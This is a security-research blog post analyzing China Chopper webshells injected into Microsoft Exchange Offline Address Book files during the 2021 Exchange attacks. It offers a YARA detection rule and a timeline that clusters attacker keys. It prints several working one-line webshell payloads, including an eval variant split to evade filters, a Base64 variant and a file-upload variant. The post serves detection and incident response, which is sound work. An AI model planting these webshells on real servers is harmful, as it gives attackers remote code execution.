Analyzing Attacks Against Microsoft Exchange Server With China Chopper Webshells

By Jeff White

Published: 2021-03-08 · Archived: 2026-04-10 02:36:05 UTC

The Role of the China Chopper Webshell

By leveraging CVE-2021-27065, a post-authentication arbitrary file write vulnerability, an attacker is able to effectively inject code into an ASPX page for Exchange Offline Address Book (OAB). When this page is compiled with the injected webshell, the attacker can send other code and gain further access. The China Chopper webshell is a lightweight, one-line script that is observed being dropped in these attacks by the use of the PowerShell Set-OabVirtualDirectory cmdlet. This one-line webshell is relatively simple from the server perspective and has been observed in attacks since at least 2013, when FireEye reported on it.

The key detail here is that the China Chopper webshell is injected into a pre-existing OAB ASPX page that contains configuration information unrelated to the webshell. It's been reported that there are thousands of compromises, and any on-premises Exchange Server that is exposed to the internet should assume it's been scanned numerous times. Knowing this, and knowing that thousands of companies this week have begun the laborious chore of responding to these attacks within their infrastructure, it didn't take long before these OAB files started popping up on VirusTotal (VT).

To identify the specific OAB configuration files we're interested in, I created a small YARA rule to identify some of the observed templates for the China Chopper webshell as they exist within OAB configurations.

```
1  rule webshell_chinachopper_oab
2  {
3  meta:
4  author = "Jeff White (Palo Alto Networks) @noottrak"
5  date = "02MAR2021"
6  hash01 = "e8ea17cd1de6d3389c792cce8c0ff1927a6386f0ef32ab0b097763de1f86ffc8"
7  hash02 = "34f9944a85ffba58f3fa60c5dc32da1ce6743dae261e1820ef6c419808757112"
8  hash03 = "55fbfab29f9d2c26f81f1ff901af838110d7f76acc81f14b791a8903aa8b8425"
9  hash04 = "6e75bbcdd22ec9df1c7796e381a83f88e3ae82f5698c6b31b64d8f11e9cfd867"
```

```
strings:
// Detect OAB file
$OAB01 = "ExternalUrl" ascii // Contains webshell
$OAB02 = "InternalUrl" ascii
$OAB03 = "ExchangeVersion" ascii
$OAB04 = "WhenChangedUTC" ascii
// Detect injected Url variants
$HTTP01 = "http://f/" ascii nocase
$HTTP02 = "http://g/" ascii nocase
$HTTP03 = "http://p/" ascii nocase
// Detect ChinaChopper variants
$websh01 = "<script language=\"JScript\"" ascii nocase
$websh02 = "<script language=\"c#\"" ascii nocase
$websh03 = "<script runat=\"server\"" ascii nocase
// Detect webshell anchors
$cc01 = "Request" ascii nocase
$cc02 = "Page_Load" ascii nocase
// Detect injected pattern, no webshell
$non = /http:\/\/[a-z]\/[a-z0-9]+/
condition:
(all of ($OAB*) and 1 of ($HTTP*) and 1 of ($websh*) and all of ($cc*))
or
(all of ($OAB*) and $non)
}


```

```
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
```

```
62
63
64
65
66
67
68
```

For reference, this is how the China Chopper webshell typically manifests itself within the OAB configurations – specifically in the ExternalUrl field.

```
ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
```

Additional variants will be discussed throughout the document, but this is the most prevalent.

As of March 4, 2021, there are 81 unique matching samples uploaded to VT.

As FireEye documented in their 2013 analysis of this webshell, China Chopper is technically split into two parts: a client and a server. When the client engages with the server, in most variants, it provides a "key" to act as authentication before executing whatever code the attacker supplies.

In the above China Chopper example, the key is " NO9BxmCXw0JE ". This provides us with a relatively unique identifier to compare to the other files. But why stop there?

OAB Artifacts

The OAB configuration contains a wealth of information such as when the file was created, when it was last modified, the Exchange version and numerous other server-specific related data points. These allow us to take a deeper look at the attacks from a new perspective and gain a better understanding of the attack campaigns involved.

On March 2, 2021, Volexity published their blog, "Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities," which provided the first in-depth look at the attacks on Exchange Servers. However, we know that on Jan. 5, 2021, Twitter user @orange_8361 (Orange Tsai) tweeted that they had reported a pre-authenticated remote code execution (RCE) chain to a vendor. Microsoft credited this user in the slew of CVEs released to address the vulnerabilities. These two dates give us a frame of reference for analysis, as they mark the time from when Microsoft was notified to the first public disclosure of the attacks observed in the wild.

Looking at the keys used overall in the China Chopper webshells, the list below provides a count of each unique value. Of note is a C# variant of this webshell that does not have a similar key, two variants that do not include a

webshell at all but include a possible key and one that is a Base64 encoded string of non-ASCII bytes.

1	29 NO9BxmCXw0JE
2	11 Ananas
3	8 klk123456
4	7 orange
5	6 No Key - f34fji34r209ur29ur92ru
6	4 p
7	4 gttkomomo
8	2 No Key - dsfg
9	1 rxDg52fHL9GW
10	1 q3v98mBat1zj
11	1 passnew
12	1 o
13	1 fpm_admin
14	1 Q4IDLjknOZJr
15	1 FhsrvqjnYASe
16	1 EiH4yV2WGYgc
17	1 No Key - C#
18	1 3d55db3b2f88ae47b24ae7796f0cd916
19	
20	
21	
22	
23	
24	
25	

```
26
27
28
29
30
31
32
33
34
35
```

As noted, two “keys” did not contain a webshell at all, “ f34fji34r209ur29ur92ru ” and “ dsfg ”. Instead, we observed an injection of a value, which appears similar in nature to a key, but is missing the actual webshell code required to carry out further code execution. An example can be seen below and compared to the webshell above.

```
1 ExternalUrl : http://f/f34fji34r209ur29ur92ru
```

When looking at some of the temporal data points, specifically the DateModified time of the OAB files, you will see that the usage of these “keys” predates all the other key usage by almost a full day. Since there is no webshell, these may have been test runs. In fact, they show overlap with other keys that later compromise the same server with full webshells.

DateModified	**WebShellKey**	**OriginatingServer**
2/27/2021 13:45:30	f34fji34r209ur29ur92ru	NS1[...]net
2/27/2021 16:20:49	f34fji34r209ur29ur92ru	DC1[...]LOC
2/27/2021 19:11:07	f34fji34r209ur29ur92ru	FIT[...]cal
2/28/2021 0:04:23	f34fji34r209ur29ur92ru	V-T[...]com
2/28/2021 1:41:07	f34fji34r209ur29ur92ru	DC-[...]net
2/28/2021 3:51:56	f34fji34r209ur29ur92ru	MBD[...]org
2/28/2021 10:15:00	NO9BxmCXw0JE	DC[...]net
2/28/2021 10:33:14	NO9BxmCXw0JE	FIT[...]cal

2/28/2021 10:36:44	orange	JTA[...]cal

The NO9* key from above is the most prevalent thus far, judging by what's currently available on VT. It has also been displayed in most of the research that has come out on this topic. This key shares a pattern with five other keys in the list. These are considered related due to their timing and unique usage of an exactly 12-character randomized alphanumeric string with mixed capitalization.

1	
2	
3	NO9BxmCXw0JE
4	rxDg52fHL9GW
5	q3v98mBat1zj
6	Q4IDLjknOZJr
7	FhsrvqjnYASe
8	EiH4yV2WGYgc
9	
10	
11	

Within this grouping, only the NO9* and EiH* keys were observed in the OAB files with dates prior to the March 2 Volexity blog. It is also interesting to observe the clustering of dates and times when these unique OAB files documented their modification times, as highlighted in the table below.

DateModified	**WebShellKey**	**OriginatingServer**
2/28/2021 10:15:00	NO9BxmCXw0JE	DC-[...]net
2/28/2021 10:33:14	NO9BxmCXw0JE	FIT[...]cal
2/28/2021 10:44:24	NO9BxmCXw0JE	NS1[...]net
2/28/2021 11:01:52	NO9BxmCXw0JE	DC2[...]LOC
2/28/2021 11:03:12	EiH4yV2WGYgc	DFC[...]com
2/28/2021 12:44:40	NO9BxmCXw0JE	WP-[...]cal

2/28/2021 16:46:21	NO9BxmCXw0JE	tcs[...]cal
3/1/2021 6:29:17	NO9BxmCXw0JE	mar[...]cal
3/1/2021 7:40:44	NO9BxmCXw0JE	cow[...]cal
3/1/2021 12:01:14	NO9BxmCXw0JE	MM1[...]pvt
3/1/2021 12:16:38	NO9BxmCXw0JE	NCR[...]cal
3/1/2021 13:46:04	NO9BxmCXw0JE	a-p[...]com
3/1/2021 3:39:49 PM	NO9BxmCXw0JE	grr[...]cal
3/1/2021 16:25:57	NO9BxmCXw0JE	DC2[...]LOC
3/1/2021 16:42:10	NO9BxmCXw0JE	VCC[...]org
3/1/2021 19:28:28	NO9BxmCXw0JE	NS1[...]net
3/1/2021 21:32:42	NO9BxmCXw0JE	DC0[...]cal
3/1/2021 21:53:34	NO9BxmCXw0JE	thi[...]cal

On Feb. 28, 2021, and March 1, 2021, there are two distinct clusters of events – before public news about the vulnerabilities is released. Looking at the UTC timing of the events shows some compromises happening just minutes apart using both the NO9* and EiH* keys, further corroborating their relation to each other. The timing is also noteworthy because it shows very rapid deployment of these webshells throughout the day and night, indicating an automated approach to targeting. As more samples appear, a better picture of the timeline will emerge.

Continuing to dig down into the data points for the six keys, we can extrapolate the targets based on their OriginatingServer values and deduce a wide range of businesses from investment banking, small car dealerships, water conservatories, industrial automation, law firms, hospitality and so on. The apparent randomness of targeted industries supports the idea that this is automated scanning that took advantage of opportunistic targets versus a coordinated effort to target specific industries or businesses.

One last piece of evidence in support of the idea of automated scanning: There are multiple OAB files with the same configurations but different modification times, thus creating unique hashes. Looking at two servers from the OriginatingServer data points, it can be noted below how they are compromised again at a later date with the exact same webshell and key, implying that systems the attackers have compromised already are not checked during their scanning and exploitation process.

DateModified	**WebShellKey**	**OriginatingServer**
3/1/2021 21:32:42	NO9BxmCXw0JE	DC0[...]cal
3/2/2021 16:57:12	NO9BxmCXw0JE	DC0[...]cal

2/28/2021 11:01:52	NO9BxmCXw0JE	DC2[...]LOC
3/1/2021 16:25:57	NO9BxmCXw0JE	DC2[...]LOC

Pivoting to the keys, which did not match the previously discussed pattern, we can see they start compromising the same servers as the other group of keys – but only after all of the research, CVEs, and proofs-of-concept (PoCs) started to pop up, leading us to believe these are different clusters of actors behind the attacks.

DateModified	**WebShellKey**	**OriginatingServer**
3/1/2021 6:29:17	NO9BxmCXw0JE	mar[...]cal
3/2/2021 7:03:15	NO9BxmCXw0JE	mar[...]cal
3/3/2021 15:19:46	Ananas	mar[...]cal
2/28/2021 10:44:24	NO9BxmCXw0JE	NS1[...]net
3/1/2021 19:28:28	NO9BxmCXw0JE	NS1[...]net
3/3/2021 6:46:16	Q4IDLjknOZJr	NS1[...]net
3/3/2021 6:52:08	klk123456	NS1[...]net

Before moving on to the next section, let's turn our attention to three curious keys that were observed prior to the Volexity publication that do not match the pattern observed for the NO9* key but have very similar timing. This, along with other data points, seems to indicate these were used as testing or non-automated manual attacks.

The first is the key "orange". The first compromise observed with it in these publicly available OAB files is minutes before and after two surrounding compromises by the NO9* key on Feb. 28. This key also falls into the cluster of events on March 1, two hours before the previously discussed attacks.

28FEB2021

DateModified	**WebShellKey**	**OriginatingServer**
2/28/2021 10:33:14	NO9BxmCXw0JE	FIT[...]cal
2/28/2021 10:36:44	orange	JTA[...]cal
2/28/2021 10:44:24	NO9BxmCXw0JE	NS1[...]net

01MAR2021

DateModified	**WebShellKey**	**OriginatingServer**
3/1/2021 4:25:25	orange	Exc[...]CAL

3/1/2021 6:29:17	NO9BxmCXw0JE	mar[...]cal
3/1/2021 7:40:44	NO9BxmCXw0JE	cow[...]cal

The second and third keys are simply “o” and “p”. Besides standing out due to their shortness, they also use a different structure in their webshell and appear to have targeted a medical facility and something related to the Vietnamese government, both prior to any publication about the vulnerabilities.

The Microsoft blog on HAFNIUM displays a webshell dropped by HAFNIUM that also uses a parameter value of “p”, although it is a different structure. A screenshot of the webshell displayed there is transcribed below, along with an example of the one observed in an OAB file.

```
<%@ Page Language="Jscript"%><%System.IO.File.WriteAllText(Request.Item["p"],Request.Item["c"]);%>
```

```
ExternalUrl : http://g/<script runat="server">protected void Page_Load(object sender, EventArgs e){System.IO.StreamWriter
```

Notable similarities exist in the Request.Form parameter value, “p”, and the usage of a single-letter character for the other values; however, this in and of itself does not necessarily confirm a HAFNIUM connection.

Looking at the “o” and “p” keys found in the OAB files, they can be seen targeting the same systems days apart.

DateModified	WebShellKey	OriginatingServer
2/28/2021 11:57:01	o	ad2[...].vn
3/3/2021 7:58:20	p	ad2[...].vn

Furthermore, we can observe compromises by the cluster of six patterned keys and “o” key happening fairly close in time to one another, alluding to a possible connection between them.

DateModified	WebShellKey	OriginatingServer
2/28/2021 11:03:12 AM	EiH4yV2WGYgc	DFC[...]com
2/28/2021 11:57:01 AM	o	ad2[...].vn
2/28/2021 12:44:40 PM	NO9BxmCXw0JE	WP-[...]cal

Two more keys stand out in terms of volume. Like the other keys that have been discussed, both “klk123456” and “Ananas” were observed in overlapping compromises, indicating automated scanning or using some type of list that has already been correlated from a scanning service.

DateModified	WebShellKey	OriginatingServer
3/3/2021 4:34:20	klk123456	Bed[...]com
3/3/2021 6:52:08	klk123456	NS1[...]net

3/3/2021 6:55:34	klk123456	Fil[...]cal
3/3/2021 7:26:29	klk123456	mna[...]com
3/3/2021 7:35:48	Ananas	ric[...]org
3/3/2021 7:45:40	Ananas	ADA[...]cal
3/3/2021 7:47:15	klk123456	PSL[...]cal
3/3/2021 10:43:51	klk123456	CHG[...]SYS
3/3/2021 11:02:09	klk123456	TRD[...]com
3/3/2021 14:35:40	Ananas	jus[...].nl
3/3/2021 14:50:18	Ananas	asi[...]com
3/3/2021 14:51:13	Ananas	Bed[...]com
3/3/2021 15:19:46	Ananas	mar[...]cal
3/3/2021 16:16:21	Ananas	V-T[...]com
3/3/2021 16:40:03	Ananas	FHM[...]org

These clusters of events are likely related to threat actors who were able to weaponize the public information extremely quickly and get a head start on attacking Exchange Servers before other actors could.

All the compromises with the other keys appear unrelated and occur after the patches, research and PoC code had become easily accessible.

Variations in the China Chopper Webshell

Recall the most prevalent China Chopper shell as observed in the OAB file.

```
1 ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
```

A Twitter user, @mickeyftnt, notified me that they found a variant using a different pattern from the “http://f/” that I had been watching stream into VT. This variant used “http://g/” and contained a space after the eval method call. Microsoft states the ExternalUrl parameter “specifies the URL that’s used to connect to the virtual directory from outside the firewall,” so we can assume that, in a legitimate file, this is a resolvable domain but may require the “http” precursor to be accepted as a value for the injection to work. While this piece of the URL is moot and does not affect the operation, the use of “http://f/” is observed across the board in almost every one of the attacks. As such, the “http://g/” variable piqued my interest as another likely artifact worth taking note of, even though no additional patterns have been noticed outside what’s been discussed here already.

```
1 ExternalUrl : http://g/<script language="JScript" runat="server"> function Page_Load(){eval (Request["o"],"unsafe")
```

Another Twitter user, @krausedw, brought some samples to my attention that included breaking up the “unsafe” word in an attempt to bypass certain security measures and a C# sample that calls out the script language explicitly.

JScript unsafe

```
ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsa"+"fe");}</script>
```

C#

```
ExternalUrl : http://g/<script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath("error.aspx"));}}</script>
```

Finally, there are variants that use Base64 strings as the key.

Base64

```
ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["3d55db3b2f88ae47b24ae7796f0cd916"])),"unsafe");}</script>
```

Conclusion

By leveraging the artifacts found within the OAB configurations, we are able to piece together a narrative around the activity based on analysis from just a small set of samples. It seems clear that there are numerous clusters of groups leveraging these vulnerabilities, the groups are using mass scanning or services that allow them to independently target the same systems, and finally there are multiple variations of the code being dropped, which may be indicative of iterations to the attack. As more information and files become available, this analysis may have to be revisited, but for now, there are a sufficient number of connections that allow us to understand the how, the when and the frequency of attacks, along with clustering of events.
